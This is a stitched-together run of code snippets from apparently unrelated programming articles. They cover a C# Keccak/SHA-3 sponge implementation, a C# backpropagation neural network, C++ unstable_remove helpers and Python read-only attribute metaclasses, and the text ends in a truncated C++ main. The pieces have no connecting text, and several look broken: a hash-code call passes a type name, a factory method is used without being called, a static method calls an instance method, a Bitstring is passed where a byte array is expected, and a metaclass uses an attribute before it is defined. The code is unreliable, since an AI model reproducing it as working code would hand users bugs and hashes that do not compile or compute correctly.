public void SetLane(Lane lane, IEnumerable&lt;bool&gt; bits) {
   LaneOperation(
      (x, y, z, bit) =&gt; { return bit; },
      lane,
      bits
   );
}

public void XorLane(Lane lane, IEnumerable&lt;bool&gt; bits) {
   LaneOperation(
      (x, y, z, bit) =&gt; { return this[x, y, z] ^ bit; },
      lane,
      bits
   );
}
</pre>


<pre lang="C#">
public SpongeState(SpongeSize size, int rate) {
   int b = size.B;
   if ((rate &lt; 1) || (rate &gt;= b)) {
      throw new ArgumentException($"Invalid rate {rate} for width {b}.", nameof(rate));
   }
   _size = size;
   _rate = rate;
   _bitstring = Bitstring.Zeroes(b);
}</pre>


<pre lang="C#">
public SpongeState(Bitstring bitstring, int rate) {
   _bitstring = bitstring ?? throw new ArgumentNullException(nameof(bitstring));
   int length = _bitstring.Length;
   if (length &lt; 1) {
      throw new ArgumentException("Bitstring cannot be empty.", nameof(bitstring));
   }
   _size = new SpongeSize(length);
   if ((rate &lt; 1) || (rate &gt;= _size.B)) {
      throw new ArgumentException($"Invalid rate {rate} for width {_size.B}.", nameof(rate));
   }
   _rate = rate;
}</pre>


<pre lang="C#">
public abstract class SpongeConstruction : ISpongeConstruction
{
   protected readonly SpongeState State;

   public int Capacity { get { return State.Capacity; } }

   public int Rate { get { return State.Rate; } }

   public SpongeSize Size { get { return State.Size; } }

   protected SpongeConstruction(SpongeSize size, int rate)
   {
      State = new SpongeState(size, rate);
   }

   public virtual byte[] Process(byte[] bytes, int outputLength, int inputLength = -1) {
      byte[] result = null;
      if (bytes != null) {
         inputLength = (inputLength &gt; -1) ? inputLength : bytes.Length &lt;&lt; Bitstring.Shift;
         Absorb(bytes, inputLength);
         result = Squeeze(outputLength);
      }
      return result;
   }

   protected virtual void Absorb(byte[] bytes, int length) {
      State.Clear();
      Bitstring message = new Bitstring(bytes, length);
      int rate = State.Rate;
      message.Append(Suffix());
      message.Append(GetPadding(rate, message.Length));
      int n = message.Length / rate;
      Bitstring zeroes = new Bitstring(Capacity);
      Bitstring chunk;
      for (int i = 0; i &lt; n; i++) {
         chunk = message.Substring(rate * i, rate);
         chunk.Append(zeroes);
         State.Bitstring.Xor(chunk);
         Function();
      }
   }

   protected abstract void Function();

   protected abstract Bitstring GetPadding(int r, int m);

   protected virtual byte[] Squeeze(int outputLength) {
      int rate = State.Rate;
      Bitstring q = new Bitstring();
      while (true) {
         q.Append(State.Bitstring.Truncate(rate));
         if (q.Length &gt;= outputLength) {
            return (q.Length == outputLength) ? q.Bytes : q.Truncate(outputLength).Bytes;
         }
         Function();
      }
   }

   protected virtual Bitstring Suffix() {
      return new Bitstring();
   }
}
</pre>


<pre lang="C#">
public class KeccakPermutation : SpongeConstruction
{
   private readonly int _roundCount;

   public int RoundCount { get { return _roundCount; } }

   protected KeccakPermutation(SpongeSize size, int rate, int roundCount)
      : base(size, rate) {
      _roundCount = roundCount;
   }

   protected override void Function() {
      int start = 12 + (State.Size.L &lt;&lt; 1);
      for (int round = start - _roundCount; round &lt; start; round++) {
         Iota(Khi(Pi(Rho(Theta(State)))), round);
      }
   }
}
</pre>


<pre lang="C#">
public static SpongeState Theta(SpongeState state) {
   int w = state.Size.W;
   bool[,] c = new bool[5, w];
   for (int x = 0; x &lt; 5; x++) {
      for (int z = 0; z &lt; w; z++) {
         c[x, z] = state.GetColumn(x, z).GetBits()
            .Aggregate((bool lhs, bool rhs) =&gt; { return lhs ^ rhs; });
      }
   }
   bool[,] d = new bool[5, w];
   for (int x = 0; x &lt; 5; x++) {
      for (int z = 0; z &lt; w; z++) {
         d[x, z] = c[Bin.Mod(x - 1, 5), z] ^ c[Bin.Mod(x + 1, 5), Bin.Mod(z - 1, w)];
      }
   }
   for (int x = 0; x &lt; 5; x++) {
      for (int z = 0; z &lt; w; z++) {
         bool bit = d[x, z];
         for (int y = 0; y &lt; 5; y++) {
            state[x, y, z] ^= bit;
         }
      }
   }
   return state;
}</pre>


<pre lang="C#">
public static SpongeState Rho(SpongeState state) {
   SpongeState newState = new SpongeState(state.Size, state.Rate);
   int w = state.Size.W;
   newState.SetLane(newState.GetLane(0, 0), state.GetLane(0, 0).GetBits());
   int x = 1;
   int y = 0;
   int u, oldX;
   for (int t = 0; t &lt; 24; t++) {
      u = ((t + 1) * (t + 2)) &gt;&gt; 1;
      for (int z = 0; z &lt; w; z++) {
         newState[x, y, z] = state[x, y, Bin.Mod(z - u, w)];
      }
      oldX = x;
      x = y;
      y = Bin.Mod(2 * oldX + 3 * y, 5);
   }
   state.SetBitstring(newState.Bitstring);
   return state;
}</pre>


<pre lang="C#">
public static SpongeState Pi(SpongeState state) {
   SpongeState newState = new SpongeState(state.Size, state.Rate);
   int w = state.Size.W;
   for (int y = 0; y &lt; 5; y++) {
      for (int x = 0; x &lt; 5; x++) {
         for (int z = 0; z &lt; w; z++) {
            newState[x, y, z] = state[Bin.Mod(x + 3 * y, 5), x, z];
         }
      }
   }
   state.SetBitstring(newState.Bitstring);
   return state;
}</pre>


<pre lang="C#">
public static SpongeState Khi(SpongeState state) {
   SpongeState newState = new SpongeState(state.Size, state.Rate);
   int w = state.Size.W;
   for (int y = 0; y &lt; 5; y++) {
      for (int x = 0; x &lt; 5; x++) {
         for (int z = 0; z &lt; w; z++) {
            newState[x, y, z] = state[x, y, z]
               ^ ((state[Bin.Mod(x + 1, 5), y, z] ^ true) &amp;&amp; state[Bin.Mod(x + 2, 5), y, z]);
         }
      }
   }
   state.SetBitstring(newState.Bitstring);
   return state;
}</pre>


<pre lang="C#">
public static SpongeState Iota(SpongeState state, int round) {
   int w = state.Size.W;
   int l = state.Size.L;
   Bitstring rc = Bitstring.Zeroes(w);
   RoundT roundT;
   int t;
   int rnd = 7 * round;
   for (int j = 0; j &lt;= l; j++) {
      t = j + rnd;
      roundT = new RoundT(round, t);
      if (!_roundTConstants.ContainsKey(roundT)) {
         _roundTConstants.Add(roundT, RoundConstant(t));
      }
      rc[(1 &lt;&lt; j) - 1] = _roundTConstants[roundT];
   }
   state.XorLane(state.GetLane(0, 0), rc.GetBits());
   return state;
}

private static readonly Dictionary&lt;int, bool&gt; _roundConstants = new Dictionary&lt;int, bool&gt; {
   { 0, true }
};
private static readonly Dictionary&lt;RoundT, bool&gt; _roundTConstants = new Dictionary&lt;RoundT, bool&gt;();

private struct RoundT : IEquatable&lt;RoundT&gt;
{
   public readonly int Round;
   public readonly int T;

   public RoundT(int round, int t) {
      Round = round;
      T = t;
   }

   public bool Equals(RoundT other) {
      return (Round == other.Round) &amp;&amp; (T == other.T);
   }

   public override bool Equals(object obj) {
      return (obj is RoundT) &amp;&amp; Equals((RoundT)obj);
   }

   public override int GetHashCode() {
      return HashCoder&lt;int&gt;.Boost.Compute(RoundT, T);
   }

   public static bool operator ==(RoundT lhs, RoundT rhs) {
      return lhs.Equals(rhs);
   }

   public static bool operator !=(RoundT lhs, RoundT rhs) {
      return !lhs.Equals(rhs);
   }
}

private static bool RoundConstant(int t) {
   t = Bin.Mod(t, 255);
   if (_roundConstants.ContainsKey(t)) {
      return _roundConstants[t];
   }
   Bitstring r = new Bitstring("10000000", 8);
   for (int i = 0; i &lt; t; i++) {
      r.Prepend(Bitstring.Zero);
      r[0] ^= r[8];
      r[4] ^= r[8];
      r[5] ^= r[8];
      r[6] ^= r[8];
      r = r.Truncate(8);
   }
   bool bit = r[0];
   _roundConstants.Add(t, bit);
   return bit;
}</pre>


<pre lang="C#">
public class KeccakFunction : KeccakPermutation
{
   protected KeccakFunction(SpongeSize size, int rate)
      : base(size, rate, 12 + (size.L &lt;&lt; 1)) { }

   public static KeccakFunction F25(int rate) {
      return new KeccakFunction(SpongeSize.W01, rate);
   }

   public static KeccakFunction F50(int rate) {
      return new KeccakFunction(SpongeSize.W02, rate);
   }

   public static KeccakFunction F100(int rate) {
      return new KeccakFunction(SpongeSize.W04, rate);
   }

   public static KeccakFunction F200(int rate) {
      return new KeccakFunction(SpongeSize.W08, rate);
   }

   public static KeccakFunction F400(int rate) {
      return new KeccakFunction(SpongeSize.W16, rate);
   }

   public static KeccakFunction F800(int rate) {
      return new KeccakFunction(SpongeSize.W32, rate);
   }

   public static KeccakFunction F1600(int rate) {
      return new KeccakFunction(SpongeSize.W64, rate);
   }
}
</pre>


<pre lang="C#">
public class Keccak : KeccakFunction
{
   protected Keccak(int capacity)
      : base(SpongeSize.W64, 1600 - capacity) { }

   public static Keccak Keccak224() {
      return new Keccak(448);
   }

   public static Keccak Keccak256() {
      return new Keccak(512);
   }

   public static Keccak Keccak384() {
      return new Keccak(768);
   }

   public static Keccak Keccak512() {
      return new Keccak(1024);
   }
}
</pre>


<pre lang="C#">
public sealed class Sha3Permutation : Keccak
{
   public int Width {
      get { return Capacity &gt;&gt; 1; }
   }

   private Sha3Permutation(int capacity)
      : base(capacity) { }

   public static Sha3Permutation Sha3_224() {
      return new Sha3Permutation(448);
   }

   public static Sha3Permutation Sha3_256() {
      return new Sha3Permutation(512);
   }

   public static Sha3Permutation Sha3_384() {
      return new Sha3Permutation(768);
   }

   public static Sha3Permutation Sha3_512() {
      return new Sha3Permutation(1024);
   }

   protected override Bitstring Suffix() {
      return new Bitstring("01");
   }
}
</pre>


<pre lang="C#">
public sealed class RawShakePermutation : Keccak
{
   private RawShakePermutation(int capacity)
      : base(capacity) { }

   public static RawShakePermutation RawShake128() {
      return new RawShakePermutation(256);
   }

   public static RawShakePermutation RawShake256() {
      return new RawShakePermutation(512);
   }

   protected override Bitstring Suffix() {
      return new Bitstring("11");
   }
}

public sealed class ShakePermutation : Keccak
{
   private ShakePermutation(int capacity)
      : base(capacity) { }

   public static ShakePermutation Shake128() {
      return new ShakePermutation(256);
   }

   public static ShakePermutation Shake256() {
      return new ShakePermutation(512);
   }

   protected override Bitstring Suffix() {
      return new Bitstring("1111");
   }
}
</pre>


<pre lang="C#">
internal class Program
{
   private static readonly Bitstring _message0000 = new Bitstring();

   private static void Main(string[] args) {
      Sha3Test();
      Exit();
   }

   private static void Sha3Test() {
      Sha3Permutation sha3 = Sha3Permutation.Sha3_224;
      Output(sha3, "SHA3-224 sample of 0-bit message", _message0000, 224);
      sha3 = Sha3Permutation.Sha3_256;
      Output(sha3, "SHA3-256 sample of 0-bit message", _message0000, 256);
      sha3 = Sha3Permutation.Sha3_384;
      Output(sha3, "SHA3-384 sample of 0-bit message", _message0000, 384);
      sha3 = Sha3Permutation.Sha3_512;
      Output(sha3, "SHA3-512 sample of 0-bit message", _message0000, 512);
   }

   private void Output(SpongeConstruction sponge, string caption, Bitstring bitstring, int outputLength) {
      Console.WriteLine(caption);
      Stopwatch stopwatch = Stopwatch.StartNew();
      Bitstring b = new Bitstring(sponge.Process(bitstring.Bytes, outputLength, bitstring.Length));
      Console.WriteLine($"{b.ToHexString(false, false)} ({stopwatch.ElapsedMilliseconds}ms)");
      Console.WriteLine();
   }

   private static void Exit() {
      Console.Write("Press a key to exit...");
      Console.ReadKey(true);
   }
}
</pre>


<pre lang="C#">
public sealed class Sha3HashAlgorithm : HashAlgorithm
{
   public enum Size : byte
   {
      Bits224,
      Bits256,
      Bits384,
      Bits512
   }

   private readonly Sha3Permutation _permutation;

   private Bitstring _hash;

   public Sha3HashAlgorithm(Size size)
      : base() {
      switch (size) {
         case Size.Bits224:
            _permutation = Sha3Permutation.Sha3_224();
            break;
         case Size.Bits256:
            _permutation = Sha3Permutation.Sha3_256();
            break;
         case Size.Bits384:
            _permutation = Sha3Permutation.Sha3_384();
            break;
         case Size.Bits512:
            _permutation = Sha3Permutation.Sha3_512();
            break;
      }
   }

   public override void Initialize() {
      _hash = new Bitstring();
   }

   protected override void HashCore(byte[] array, int ibStart, int cbSize) {
      byte[] data = new byte[cbSize];
      Array.Copy(array, ibStart, data, 0, cbSize);
      _hash.Append(data);
   }

   protected override byte[] HashFinal() {
      _hash = _permutation.Process(_hash, _permutation.Width);
      return _hash?.Bytes ?? new byte[0];
   }
}
</pre>


<pre lang="C#">
public class StepActivationFunction : IActivationFunction
{
    private double _treshold;

    public StepActivationFunction(double treshold)
    {
        _treshold = treshold;
    }

    public double CalculateOutput(double input)
    {
        return Convert.ToDouble(input &gt; _treshold);
    }
}</pre>


<pre lang="C#">
public class SigmoidActivationFunction : IActivationFunction
{
    private double _coeficient;

    public SigmoidActivationFunction(double coeficient)
    {
        _coeficient = coeficient;
    }

    public double CalculateOutput(double input)
    {
        return (1 / (1 + Math.Exp(-input * _coeficient)));
    }
}</pre>


<pre lang="C#">
    public interface INeuron
    {
        Guid Id { get; }
        double PreviousPartialDerivate { get; set; }

        List&lt;ISynapse&gt; Inputs { get; set; }
        List&lt;ISynapse&gt; Outputs { get; set; }

        void AddInputNeuron(INeuron inputNeuron);
        void AddOutputNeuron(INeuron inputNeuron);
        double CalculateOutput();

        void AddInputSynapse(double inputValue);
        void PushValueOnInput(double inputValue);
    }</pre>


<pre lang="C#">
public class Neuron : INeuron
{
    private IActivationFunction _activationFunction;
    private IInputFunction _inputFunction;

    /// &lt;summary&gt;
    /// Input connections of the neuron.
    /// &lt;/summary&gt;
    public List&lt;ISynapse&gt; Inputs { get; set; }

    /// &lt;summary&gt;
    /// Output connections of the neuron.
    /// &lt;/summary&gt;
    public List&lt;ISynapse&gt; Outputs { get; set; }

    public Guid Id { get; private set; }

    /// &lt;summary&gt;
    /// Calculated partial derivate in previous iteration of training process.
    /// &lt;/summary&gt;
    public double PreviousPartialDerivate { get; set; }

    public Neuron(IActivationFunction activationFunction, IInputFunction inputFunction)
    {
        Id = Guid.NewGuid();
        Inputs = new List&lt;ISynapse&gt;();
        Outputs = new List&lt;ISynapse&gt;();

        _activationFunction = activationFunction;
        _inputFunction = inputFunction;
    }

    /// &lt;summary&gt;
    /// Connect two neurons. 
    /// This neuron is the output neuron of the connection.
    /// &lt;/summary&gt;
    /// &lt;param name="inputNeuron"&gt;Neuron that will be input neuron of the newly created connection.
    /// &lt;/param&gt;
    public void AddInputNeuron(INeuron inputNeuron)
    {
        var synapse = new Synapse(inputNeuron, this);
        Inputs.Add(synapse);
        inputNeuron.Outputs.Add(synapse);
    }

    /// &lt;summary&gt;
    /// Connect two neurons. 
    /// This neuron is the input neuron of the connection.
    /// &lt;/summary&gt;
    /// &lt;param name="outputNeuron"&gt;Neuron that will be output neuron of the newly created connection.
    /// &lt;/param&gt;
    public void AddOutputNeuron(INeuron outputNeuron)
    {
        var synapse = new Synapse(this, outputNeuron);
        Outputs.Add(synapse);
        outputNeuron.Inputs.Add(synapse);
    }

    /// &lt;summary&gt;
    /// Calculate output value of the neuron.
    /// &lt;/summary&gt;
    /// &lt;returns&gt;
    /// Output of the neuron.
    /// &lt;/returns&gt;
    public double CalculateOutput()
    {
        return _activationFunction.CalculateOutput(_inputFunction.CalculateInput(this.Inputs));
    }

    /// &lt;summary&gt;
    /// Input Layer neurons just receive input values.
    /// For this they need to have connections.
    /// This function adds this kind of connection to the neuron.
    /// &lt;/summary&gt;
    /// &lt;param name="inputValue"&gt;
    /// Initial value that will be "pushed" as an input to connection.
    /// &lt;/param&gt;
    public void AddInputSynapse(double inputValue)
    {
        var inputSynapse = new InputSynapse(this, inputValue);
        Inputs.Add(inputSynapse);
    }

    /// &lt;summary&gt;
    /// Sets new value on the input connections.
    /// &lt;/summary&gt;
    /// &lt;param name="inputValue"&gt;
    /// New value that will be "pushed" as an input to connection.
    /// &lt;/param&gt;
    public void PushValueOnInput(double inputValue)
    {
        ((InputSynapse)Inputs.First()).Output = inputValue;
    }
}</pre>


<pre lang="C#">
public class Synapse : ISynapse
{
    internal INeuron _fromNeuron;
    internal INeuron _toNeuron;

    /// &lt;summary&gt;
    /// Weight of the connection.
    /// &lt;/summary&gt;
    public double Weight { get; set; }

    /// &lt;summary&gt;
    /// Weight that connection had in previous itteration.
    /// Used in training process.
    /// &lt;/summary&gt;
    public double PreviousWeight { get; set; }

    public Synapse(INeuron fromNeuraon, INeuron toNeuron, double weight)
    {
        _fromNeuron = fromNeuraon;
        _toNeuron = toNeuron;

        Weight = weight;
        PreviousWeight = 0;
    }

    public Synapse(INeuron fromNeuraon, INeuron toNeuron)
    {
        _fromNeuron = fromNeuraon;
        _toNeuron = toNeuron;

        var tmpRandom = new Random();
        Weight = tmpRandom.NextDouble();
        PreviousWeight = 0;
    }

    /// &lt;summary&gt;
    /// Get output value of the connection.
    /// &lt;/summary&gt;
    /// &lt;returns&gt;
    /// Output value of the connection.
    /// &lt;/returns&gt;
    public double GetOutput()
    {
        return _fromNeuron.CalculateOutput();
    }

    /// &lt;summary&gt;
    /// Checks if Neuron has a certain number as an input neuron.
    /// &lt;/summary&gt;
    /// &lt;param name="fromNeuronId"&gt;Neuron Id.&lt;/param&gt;
    /// &lt;returns&gt;
    /// True - if the neuron is the input of the connection.
    /// False - if the neuron is not the input of the connection. 
    /// &lt;/returns&gt;
    public bool IsFromNeuron(Guid fromNeuronId)
    {
        return _fromNeuron.Id.Equals(fromNeuronId);
    }

    /// &lt;summary&gt;
    /// Update weight.
    /// &lt;/summary&gt;
    /// &lt;param name="learningRate"&gt;Chosen learning rate.&lt;/param&gt;
    /// &lt;param name="delta"&gt;Calculated difference for which weight 
    /// of the connection needs to be modified.&lt;/param&gt;
    public void UpdateWeight(double learningRate, double delta)
    {
        PreviousWeight = Weight;
        Weight += learningRate * delta;
    }
}</pre>


<pre lang="C#">
public class InputSynapse : ISynapse
{
    internal INeuron _toNeuron;

    public double Weight { get; set; }
    public double Output { get; set; }
    public double PreviousWeight { get; set; }

    public InputSynapse(INeuron toNeuron)
    {
        _toNeuron = toNeuron;
        Weight = 1;
    }

    public InputSynapse(INeuron toNeuron, double output)
    {
        _toNeuron = toNeuron;
        Output = output;
        Weight = 1;
        PreviousWeight = 1;
    }

    public double GetOutput()
    {
        return Output;
    }

    public bool IsFromNeuron(Guid fromNeuronId)
    {
        return false;
    }

    public void UpdateWeight(double learningRate, double delta)
    {
        throw new InvalidOperationException
        ("It is not allowed to call this method on Input Connection");
    }
}</pre>


<pre lang="C#">
public class NeuralLayer
{
    public List&lt;INeuron&gt; Neurons;

    public NeuralLayer()
    {
        Neurons = new List&lt;INeuron&gt;();
    }

    /// &lt;summary&gt;
    /// Connecting two layers.
    /// &lt;/summary&gt;
    public void ConnectLayers(NeuralLayer inputLayer)
    {
        var combos = Neurons.SelectMany(neuron =&gt; inputLayer.Neurons, 
        (neuron, input) =&gt; new { neuron, input });
        combos.ToList().ForEach(x =&gt; x.neuron.AddInputNeuron(x.input));
    }
}</pre>


<pre lang="C#">
public class SimpleNeuralNetwork
{
    private NeuralLayerFactory _layerFactory;

    internal List&lt;NeuralLayer&gt; _layers;
    internal double _learningRate;
    internal double[][] _expectedResult;

    /// &lt;summary&gt;
    /// Constructor of the Neural Network.
    /// Note:
    /// Initially input layer with defined number of inputs will be created.
    /// &lt;/summary&gt;
    /// &lt;param name="numberOfInputNeurons"&gt;
    /// Number of neurons in input layer.
    /// &lt;/param&gt;
    public SimpleNeuralNetwork(int numberOfInputNeurons)
    {
        _layers = new List&lt;NeuralLayer&gt;();
        _layerFactory = new NeuralLayerFactory();

        // Create input layer that will collect inputs.
        CreateInputLayer(numberOfInputNeurons);

        _learningRate = 2.95;
    }

    /// &lt;summary&gt;
    /// Add layer to the neural network.
    /// Layer will automatically be added as the output layer to the last layer in the neural network.
    /// &lt;/summary&gt;
    public void AddLayer(NeuralLayer newLayer)
    {
        if (_layers.Any())
        {
            var lastLayer = _layers.Last();
            newLayer.ConnectLayers(lastLayer);
        }

        _layers.Add(newLayer);
    }

    /// &lt;summary&gt;
    /// Push input values to the neural network.
    /// &lt;/summary&gt;
    public void PushInputValues(double[] inputs)
    {
        _layers.First().Neurons.ForEach(x =&gt; x.PushValueOnInput
                       (inputs[_layers.First().Neurons.IndexOf(x)]));
    }

    /// &lt;summary&gt;
    /// Set expected values for the outputs.
    /// &lt;/summary&gt;
    public void PushExpectedValues(double[][] expectedOutputs)
    {
        _expectedResult = expectedOutputs;
    }

    /// &lt;summary&gt;
    /// Calculate output of the neural network.
    /// &lt;/summary&gt;
    /// &lt;returns&gt;&lt;/returns&gt;
    public List&lt;double&gt; GetOutput()
    {
        var returnValue = new List&lt;double&gt;();

        _layers.Last().Neurons.ForEach(neuron =&gt;
        {
             returnValue.Add(neuron.CalculateOutput());
        });

        return returnValue;
    }

    /// &lt;summary&gt;
    /// Train neural network.
    /// &lt;/summary&gt;
    /// &lt;param name="inputs"&gt;Input values.&lt;/param&gt;
    /// &lt;param name="numberOfEpochs"&gt;Number of epochs.&lt;/param&gt;
    public void Train(double[][] inputs, int numberOfEpochs)
    {
        double totalError = 0;

        for(int i = 0; i &lt; numberOfEpochs; i++)
        {
            for(int j = 0; j &lt; inputs.GetLength(0); j ++)
            {
                PushInputValues(inputs[j]);

                var outputs = new List&lt;double&gt;();

                // Get outputs.
                _layers.Last().Neurons.ForEach(x =&gt;
                {
                    outputs.Add(x.CalculateOutput());
                });

                // Calculate error by summing errors on all output neurons.
                totalError = CalculateTotalError(outputs, j);
                HandleOutputLayer(j);
                HandleHiddenLayers();
            }
        }
    }

    /// &lt;summary&gt;
    /// Helper function that creates input layer of the neural network.
    /// &lt;/summary&gt;
    private void CreateInputLayer(int numberOfInputNeurons)
    {
        var inputLayer = _layerFactory.CreateNeuralLayer(numberOfInputNeurons, 
        new RectifiedActivationFuncion(), new WeightedSumFunction());
        inputLayer.Neurons.ForEach(x =&gt; x.AddInputSynapse(0));
        this.AddLayer(inputLayer);
    }

    /// &lt;summary&gt;
    /// Helper function that calculates total error of the neural network.
    /// &lt;/summary&gt;
    private double CalculateTotalError(List&lt;double&gt; outputs, int row)
    {
        double totalError = 0;

        outputs.ForEach(output =&gt;
        {
            var error = Math.Pow(output - _expectedResult[row][outputs.IndexOf(output)], 2);
            totalError += error;
        });

        return totalError;
    }

    /// &lt;summary&gt;
    /// Helper function that runs backpropagation algorithm on the output layer of the network.
    /// &lt;/summary&gt;
    /// &lt;param name="row"&gt;
    /// Input/Expected output row.
    /// &lt;/param&gt;
    private void HandleOutputLayer(int row)
    {
        _layers.Last().Neurons.ForEach(neuron =&gt;
        {
            neuron.Inputs.ForEach(connection =&gt;
            {
                var output = neuron.CalculateOutput();
                var netInput = connection.GetOutput();

                var expectedOutput = _expectedResult[row][_layers.Last().Neurons.IndexOf(neuron)];

                var nodeDelta = (expectedOutput - output) * output * (1 - output);
                var delta = -1 * netInput * nodeDelta;

                connection.UpdateWeight(_learningRate, delta);

                neuron.PreviousPartialDerivate = nodeDelta;
            });
        });
    }

    /// &lt;summary&gt;
    /// Helper function that runs backpropagation algorithm on the hidden layer of the network.
    /// &lt;/summary&gt;
    /// &lt;param name="row"&gt;
    /// Input/Expected output row.
    /// &lt;/param&gt;
    private void HandleHiddenLayers()
    {
        for (int k = _layers.Count - 2; k &gt; 0; k--)
        {
            _layers[k].Neurons.ForEach(neuron =&gt;
            {
                neuron.Inputs.ForEach(connection =&gt;
                {
                    var output = neuron.CalculateOutput();
                    var netInput = connection.GetOutput();
                    double sumPartial = 0;

                    _layers[k + 1].Neurons
                    .ForEach(outputNeuron =&gt;
                    {
                        outputNeuron.Inputs.Where(i =&gt; i.IsFromNeuron(neuron.Id))
                        .ToList()
                        .ForEach(outConnection =&gt;
                        {
                            sumPartial += outConnection.PreviousWeight * 
                                                outputNeuron.PreviousPartialDerivate;
                        });
                    });

                    var delta = -1 * netInput * sumPartial * output * (1 - output);
                    connection.UpdateWeight(_learningRate, delta);
                });
            });
        }
    }
}</pre>


<pre lang="C#">
var network = new SimpleNeuralNetwork(3);

var layerFactory = new NeuralLayerFactory();
network.AddLayer(layerFactory.CreateNeuralLayer(3, new RectifiedActivationFuncion(), 
                                                new WeightedSumFunction()));
network.AddLayer(layerFactory.CreateNeuralLayer(1, new SigmoidActivationFunction(0.7), 
                                                new WeightedSumFunction()));

network.PushExpectedValues(
    new double[][] {
        new double[] { 0 },
        new double[] { 1 },
        new double[] { 1 },
        new double[] { 0 },
        new double[] { 1 },
        new double[] { 0 },
        new double[] { 0 },
    });

network.Train(
    new double[][] {
        new double[] { 150, 2, 0 },
        new double[] { 1002, 56, 1 },
        new double[] { 1060, 59, 1 },
        new double[] { 200, 3, 0 },
        new double[] { 300, 3, 1 },
        new double[] { 120, 1, 0 },
        new double[] { 80, 1, 0 },
    }, 10000);

network.PushInputValues(new double[] { 1054, 54, 1 });
var outputs = network.GetOutput();</pre>


<pre lang="C++">
  // initializes a vector that holds the numbers from 0-9.
  std::vector&lt;int&gt; v = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
  print(v);
 
  // removes all elements with the value 5
  v.erase( std::remove( v.begin(), v.end(), 5 ), v.end() ); 
  print(v);

  // removes all odd numbers
  v.erase( std::remove_if(v.begin(), v.end(), is_odd), v.end() );
  print(v);</pre>


<pre lang="C++">
namespace my 
{
    template&lt;class BidirIt, class T&gt;
    BidirIt unstable_remove(BidirIt first, BidirIt last, const T&amp; value)
    {
        while (true) 
        {
            // Find the first instance of "value"...
            first = std::find(first, last, value);
            // ...and the last instance of "not value"...
            do 
            {
                if (first == last) 
                    return last;
                --last;
            } 
            while (*last == value);
            // ...and move the latter over top of the former.
            *first = std::move(*last);
            // Rinse and repeat.
            ++first;
        }
    }
    template&lt;class BidirIt, class Pred&gt;
    BidirIt unstable_remove_if(BidirIt first, BidirIt last, Pred predicate)
    {
        while (true) 
        {
            // Find the first instance of "value"...
            first = std::find_if(first, last, predicate);
            // ...and the last instance of "not value"...
            do 
            {
                if (first == last) 
                    return last;
                --last;
            } 
            while (predicate(*last));
            // ...and move the latter over top of the former.
            *first = std::move(*last);
            // Rinse and repeat.
            ++first;
        }
    }
} // namespace my</pre>


<pre lang="C++">
  // initializes a vector that holds the numbers from 0-9.
  std::vector&lt;int&gt; v = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
  print(v);
 
  // removes all elements with the value 5
  v.erase( my::unstable_remove( v.begin(), v.end(), 5 ), v.end() ); 
  print(v);

  // removes all odd numbers
  v.erase( my::unstable_remove_if(v.begin(), v.end(), is_odd), v.end() );
  print(v);</pre>


<pre lang="Python">
class Meta(type):
    @property
    def RO(self):
        return 13

class DefinitionSet(Meta(str(), (), {})):
    greetings = "Hello!"
    myNameFormat = "My name is {}."
    durationSeconds = 3.5
    color = { "opacity": 0.7, "wavelength": 400 }
    @property
    def RO(self):
        return 14
    def __init__(self):
        self.greetings = "Hello again!"
        self.myNameFormat = "Let me introduce myself. My name is {}."
        self.durationSeconds = 3.6
        self.color = { "opacity": 0.8, "wavelength": 410 }

instance = DefinitionSet()
# instance.RO and DefinitionSet.RO are two different
# read-only attributes</pre>


<pre lang="Python"># using instance attributes:
class DefinitionSet:
    def __init__(self):
        self.greetings = "Hello!"
        self.myNameFormat = "My name is {}."
        self.durationSeconds = 3.5
        self.color = { "opacity": 0.7, "wavelength": 400 }
definitionSet = DefinitionSet()

#...
print (definitionSet.durationSeconds)</pre>


<pre lang="Python">
class Foo(ReadonlyBase):
    bar = 100
    test = Readonly.Attribute(13)

print("Foo.bar: " + str(Foo.bar))
Foo.bar += 1
print("Modified Foo.bar: " + str(Foo.bar))
print("Foo.test: " + str(Foo.test))
try:
    Foo.test = Foo.test + 1 # will raise exception
except Exception:
    print ("Cannot set attribute Foo.test")</pre>


<pre lang="Python">
class Readonly(type):

    class Attribute(object):
        def __init__(self, value):
            self.value = value
    
    def __new__(metaclass, classname, bases, classdict):
        class NewMetaclass(metaclass):
            attributeContainer = {}
        def getAttrFromMetaclass(attr):
            return lambda cls: type(cls).attributeContainer[attr]
        clone = dict(classdict)
        for name, value in clone.items():
            if not isinstance(value, metaclass.Attribute):
                continue;
            getattr(NewMetaclass, DefinitionSet.attributeContainerName)[name] = value.value
            aProperty = property(getAttrFromMetaclass(name))
            setattr(NewMetaclass, name, aProperty)
            classdict[name] = aProperty
            classdict.pop(name, None)               
        return type.__new__(NewMetaclass, classname, bases, classdict)</pre>


<pre lang="Python">
class DefinitionSet:
    attributeContainerName = "."

class Readonly(type):

    class Attribute(object):
        def __init__(self, value):
            self.value = value

    @classmethod
    def Base(cls): # base class with access control of class attribute
        return Readonly(str(), (), {})
    
    def __new__(metaclass, className, bases, classDictionary):
        def getAttrFromClass(attr):
            return lambda cls: getattr(type(cls), DefinitionSet.attributeContainerName)[attr]
        class NewMetaclass(metaclass):
            setattr(metaclass, DefinitionSet.attributeContainerName, {})
            def __call__(cls, *args, **kwargs):
                instance = type.__call__(cls, *args, **kwargs)
                newClass = metaclass(cls.__name__, cls.__bases__, {})
                newInstance = type.__call__(newClass)
                setattr(newClass, DefinitionSet.attributeContainerName, {})
                names = dir(instance)
                for name in names:
                    if hasattr(cls, name):
                        continue
                    value = getattr(instance, name)
                    if isinstance(value, metaclass.Attribute):
                        if hasattr(newInstance, name):
                            delattr(newInstance, name)
                        getattr(
                            newClass,
                            DefinitionSet.attributeContainerName)[name] = value.value
                        aProperty = property(getAttrFromClass(name))
                        setattr(newClass, name, aProperty)
                    else:
                        setattr(newInstance, name, getattr(instance, name))
                return newInstance
        clone = dict(classDictionary)
        for name, value in clone.items():
            if not isinstance(value, metaclass.Attribute):
                continue;
            getattr(NewMetaclass, DefinitionSet.attributeContainerName)[name] = value.value
            aProperty = property(getAttrFromClass(name))
            setattr(NewMetaclass, name, aProperty)
            classDictionary[name] = aProperty
            classDictionary.pop(name, None)               
        return type.__new__(NewMetaclass, className, bases, classDictionary)
</pre>


<pre lang="C++">
#include &lt;iostream&gt;
#include &lt;string&gt;
#include &lt;algorithm&gt;
#include &lt;vector&gt;

// TriviallyCopyable structure
struct MyStruct
{
    int n;
    double d;
};

struct MyStruct2
{
    int n;
    double d;
    std::string s;
};

int main()
{
